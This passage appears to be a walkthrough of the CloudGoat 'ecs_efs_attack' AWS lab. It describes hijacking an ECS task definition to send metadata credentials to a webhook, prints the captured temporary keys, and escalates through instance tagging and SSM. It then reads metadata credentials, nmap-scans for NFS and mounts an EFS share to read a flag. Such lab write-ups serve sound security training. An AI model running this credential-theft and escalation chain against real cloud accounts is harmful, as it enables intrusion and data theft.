    "cpu": "256",
    "memory": "512"
}

I created a free webhook with https://webhook.site.

The command that will be run will steal the metadata credentials and then send them to the webhook. Note passing in arguments you cannot use curl for some reason and the metadata endpoint is different then for EC2 instances.

Then create a new task definition revision and upate the service

aws ecs register-task-definition --cli-input-json file://cloudgoat_ecs_efs_attack_creds.json

aws ecs list-services --cluster cg-cluster-ecs_efs_attack_cgidc5gnv28rje
# {
#     "serviceArns": [
#         "arn:aws:ecs:us-east-1:0123456789:service/cg-cluster-ecs_efs_attack_cgidc5gnv28rje/cg-webapp-ecs_efs_attack_cgidc5gnv28rje"
#     ]
# }

aws ecs update-service --cluster cg-cluster-ecs_efs_attack_cgidc5gnv28rje --service cg-webapp-ecs_efs_attack_cgidc5gnv28rje --task-definition webapp:3

Now we wait for the service to deploy the new revision.

Bang we got some credentials from the webhook

{
  "RoleArn": "arn:aws:iam::0123456789:role/cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje",
  "AccessKeyId": "ASIAZ6IIT5XU2TT3KVL7",
  "SecretAccessKey": "7D5kwTcb0jidNyFAh2wD5AZzXEE04hg9IRVdoab8",
  "Token": "IQoJb3JpZ2luX2VjEGMaCXVzLWVhc3QtMSJHMEUCIQCWOiRs81UqZ+RkfqzOMBUXUrt2lOu51yRP1xbVaZLP3AIgHODS65Cd15bPH+kJXBNUBGoqrbn90HWo6OpPcVALfA4qpwQIPBACGgw2ODM0NTQ3NTQyODEiDMpgKogbLavaGdEtcyqEBHkK1Fy+JbfOayKpYVtmSTasc2NpFTfXtlEbHpOoSZDqEAI+3tlhbfZB9xpmSMlBBI8iIn5hbjWr794O+yl1TKFRgj6K8zq5Fp9is5w/CwlmGPsdSRijxbpSxvS9ny6Vsdjlr0qF0yCy75tVNLq4P8OUvKrr5yrbn5ebeR8uNIWNeRfcb6QCSesSLJ4j69lfdvrJGO6Z5qn6B8GrVvIp11zpSvKLM89zoyClUGDo+b7VeCFqLOuqYZKTa96h6LkSqas1RHzBTUDZPOnaPdGPlAZ7zJmHDUasS/loL8oKoblRWvP45l/D+Y2fl40+uthoTP6XhsoQ1XaXK40UvlV4f1GGbhh5+RVbZ2++juPzSjB7eHtXl3zEKLdAEl3HAqQfqKqzRobS/Tpd4onCQrY4U4kWh9D21qyOUEOtyCAdv3MqzUAzIspIxx/UnaQJesZbmZsLGzXvLUgoD01RUjTjFJV5EM6M2G5fDTSpWcXnCJnpyfxAar2W/xXvJpdH2mYoXi9j9j1MpT2oksYGWW6NcrNVzQIOQXbinAytW6/AoqK9rpWsA+z8v5UM7ATr6dVPL//SH+qsp8OQDZhHpg2iu8jDT2Fn/PhTvKtMXK9t4rRNCQMdqc1r7+ti0d3z2XbtaU01JGBnZW5A9ZTpi+v+KjZumksu4Q3RLHVxOPDG0plcmjYbrzCsgNWnBjqmAQ7vOYDr5myuoYWecUam1IZXddzW/7VfJZKOnkobIA4x0ZE1yzJGZ57Ex682T+zX65iWZeDHsAQhfyPXPtPJTudSu/xH/nJMad3uo3okbzP8jM9MtPizf5cglDYdqB40aIxIhbCp1nieu3hPKL8Yl8eeOB+s8Vhc7AsYJYM2nLQKiHKQMw/kcFTc50/g549y0irjQU1D4wDLTpcDHfK7XcCcGYV80m4=",
  "Expiration": "2023-09-04T08:25:48Z"
}

Lets look at what permissions it has before we assume it.

aws iam list-role-policies --role-name cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje
# None

aws iam list-attached-role-policies --role-name cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje
# cg-ecs-role-policy-ecs_efs_attack_cgidc5gnv28rje

aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-ecs-role-policy-ecs_efs_attack_cgidc5gnv28rje
# V1

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-ecs-role-policy-ecs_efs_attack_cgidc5gnv28rje --version-id v1

Looks like the role is able to assume servers with the tag "aws:ResourceTag/StartSession": "true".

The only instance with the tag is cg-ruse-ec2-ecs_efs_attack_cgidc5gnv28rje (i-042fff5ccb55f5c75)…

Thats the server we started with SSHing into

The role (cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje) that we started with from the server can change tags on other instances

aws ec2 create-tags --resources i-0163945fb3d1622be --tags Key=StartSession,Value=true
# Creds from ECS container
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU2TT3KVL7
export AWS_SECRET_ACCESS_KEY=7D5kwTcb0jidNyFAh2wD5AZzXEE04hg9IRVdoab8
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEGMaCXVzLWVhc3QtMSJHMEUCIQCWOiRs81UqZ+RkfqzOMBUXUrt2lOu51yRP1xbVaZLP3AIgHODS65Cd15bPH+kJXBNUBGoqrbn90HWo6OpPcVALfA4qpwQIPBACGgw2ODM0NTQ3NTQyODEiDMpgKogbLavaGdEtcyqEBHkK1Fy+JbfOayKpYVtmSTasc2NpFTfXtlEbHpOoSZDqEAI+3tlhbfZB9xpmSMlBBI8iIn5hbjWr794O+yl1TKFRgj6K8zq5Fp9is5w/CwlmGPsdSRijxbpSxvS9ny6Vsdjlr0qF0yCy75tVNLq4P8OUvKrr5yrbn5ebeR8uNIWNeRfcb6QCSesSLJ4j69lfdvrJGO6Z5qn6B8GrVvIp11zpSvKLM89zoyClUGDo+b7VeCFqLOuqYZKTa96h6LkSqas1RHzBTUDZPOnaPdGPlAZ7zJmHDUasS/loL8oKoblRWvP45l/D+Y2fl40+uthoTP6XhsoQ1XaXK40UvlV4f1GGbhh5+RVbZ2++juPzSjB7eHtXl3zEKLdAEl3HAqQfqKqzRobS/Tpd4onCQrY4U4kWh9D21qyOUEOtyCAdv3MqzUAzIspIxx/UnaQJesZbmZsLGzXvLUgoD01RUjTjFJV5EM6M2G5fDTSpWcXnCJnpyfxAar2W/xXvJpdH2mYoXi9j9j1MpT2oksYGWW6NcrNVzQIOQXbinAytW6/AoqK9rpWsA+z8v5UM7ATr6dVPL//SH+qsp8OQDZhHpg2iu8jDT2Fn/PhTvKtMXK9t4rRNCQMdqc1r7+ti0d3z2XbtaU01JGBnZW5A9ZTpi+v+KjZumksu4Q3RLHVxOPDG0plcmjYbrzCsgNWnBjqmAQ7vOYDr5myuoYWecUam1IZXddzW/7VfJZKOnkobIA4x0ZE1yzJGZ57Ex682T+zX65iWZeDHsAQhfyPXPtPJTudSu/xH/nJMad3uo3okbzP8jM9MtPizf5cglDYdqB40aIxIhbCp1nieu3hPKL8Yl8eeOB+s8Vhc7AsYJYM2nLQKiHKQMw/kcFTc50/g549y0irjQU1D4wDLTpcDHfK7XcCcGYV80m4=

aws ssm start-session --target i-0163945fb3d1622be
# Starting session with SessionId: 01650e26d4de4a9cba146123e87a0e4d-07095f2e674d3eb74
# $

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# cg-efs-admin-role-ecs_efs_attack_cgidc5gnv28rje

Sweet, lets see what permissions are

View of a webhook request

aws iam list-attached-role-policies --role-name cg-efs-admin-role-ecs_efs_attack_cgidc5gnv28rje
aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-efs-admin-role-policy-ecs_efs_attack_cgidc5gnv28rje
# V1
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-efs-admin-role-policy-ecs_efs_attack_cgidc5gnv28rje --version-id v1

Interesting that the only permission on it is "elasticfilesystem:ClientMount".

None of the permissions we have allows us to fine EFS volumes, but we can scan the network for the endpoint.

sudo apt install -y nmap

nmap -Pn -p 2049 --open 10.10.10.0/24
# Nmap scan report for ip-10-10-10-74.ec2.internal (10.10.10.74)

# PORT     STATE SERVICE
# 2049/tcp open  nfs

Now that we found the EFS endpoint we can try to mount it to our server.

sudo apt install -y nfs-common

sudo mkdir /cloudgoat_nfs
sudo chown ubuntu:ubuntu /cloudgoat_nfs

sudo mount 10.10.10.74:/ /cloudgoat_nfs

ls -l /cloudgoat_nfs/
# drwxrwxrwx 2 ubuntu ubuntu 6144 Sep  3 21:50 admin

ls -l /cloudgoat_nfs/admin/
# -rw-rw-r-- 1 ubuntu ubuntu 52 Sep  4 02:53 flag.txt

cat /cloudgoat_nfs/admin/flag.txt
# RmxhZzoge3todHRwczovL3lvdXR1LmJlL2RRdzR3OVdnWGNRfX0=

cat /cloudgoat_nfs/admin/flag.txt | base64 -d
# Flag: {{https://youtu.be/dQw4w9WgXcQ}}

🤦

Cleanup

It might take a while for the scenario to be removed, AWS releases network interfaces from lambda very slowely.

rm cloudgoat_ecs_efs_attack_creds.json

./cloudgoat.py destroy ecs_efs_attack